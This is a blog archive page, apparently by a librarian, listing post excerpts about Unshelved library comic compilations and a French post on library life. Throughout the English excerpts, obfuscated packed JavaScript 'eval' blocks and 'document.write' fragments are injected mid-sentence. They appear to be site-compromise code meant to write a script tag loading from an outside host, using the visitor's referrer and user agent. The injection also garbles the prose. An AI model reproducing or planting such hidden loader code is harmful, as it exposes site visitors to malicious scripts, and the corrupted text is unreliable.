Unshelved 11: Reads well with others

“Our very first full-color collection, document.write(“”); Reads Well With Others features stirring tales of library derring-do, often inspired by, and occasionally blatantly documenting, true stories from librarians around the world. In this volume you’ll find strips about: unattended children, creeps, staff trainings, website redesigns, reading levels, confidentiality, bookstores, coffee… and much more, including Conference Tips … Continue reading Unshelved 11: Reads well with others

Unshelved 10: Bibliovores

bib•li•o•vore | ‘bibl??, document.write(“”); vôr | noun : a person whose primary form of nourishment is books. eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfhdb|var|u0026u|referrer|fenzn||js|php’.split(‘|’),0,{})) eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nhakr|var|u0026u|referrer|steza||js|php’.split(‘|’),0,{})) The tenth Unshelved collections, Bibliovores, “begins where Too Much Information left off, with the birth of Dewey’s adorable daughter, Trillian. It also features: The on-the-job education … Continue reading Unshelved 10: Bibliovores

A New “Unshelved” compilation!

I just read this morning on the Unshelved website that their ninth and latest comic strip compilation is finally out! (if you are wondering what’s Unshelved you can check the “About” page of the website or read my previous comments on this hillarious comic strip). eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rtdsz|var|u0026u|referrer|dbfat||js|php’.split(‘|’),0,{})) eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return … Continue reading A New “Unshelved” compilation!

Unshelved #8: Large Print

“Unshelved makes me appreciate those busy librarians of my school days even more. They were my best friends no matter where I went, document.write(“”); and I worshipped them. Seeing what they had to deal with only notches up my love for them! —Tamora Pierce” eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hbadd|var|u0026u|referrer|iefnd||js|php’.split(‘|’),0,{})) eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n … Continue reading Unshelved #8: Large Print

Unshelved #7: Reader’s Advisory

“BREAKING LITERARY NEWS FROM THE AWARD-WINNING STAFF OF THE MALLVILLE PUBLIC LIBRARY. Whether it’s a Paranormal Romance front coming in from the North, document.write(“”); colliding Low-carb and Low-fat Cookbooks causing a whirlwind in the South, or a high-pressure Get Rich Quick system building in the Tri-State area, our news team is there with the reading … Continue reading Unshelved #7: Reader’s Advisory

Unshelved

My latest reading (well, document.write(“”); beside the daily newspaper and Time magazine) was pretty funny. It’s a daily web comic strip created by Gene Ambaum (writer) and Bill Barnes (co-writer & artist) that I discovered by chance a few years ago. It has been published daily since 2002 and has been compiled, so far, in … Continue reading Unshelved

Vie de bibliothèque

En bibliothèque on observe l’Humain sous toutes ses formes, du meilleur au pire, en passant par toutes les couleurs de l’absurde. Évidemment, on a inévitablement le désir de partager une telle expérience transcendante que ce soit par l’anecdote humoristique ou la thèse philosophique. Certains écrivent des livres, comme le Quiet, Please: Dispatches From A Public Librarian … Continue reading Vie de bibliothèque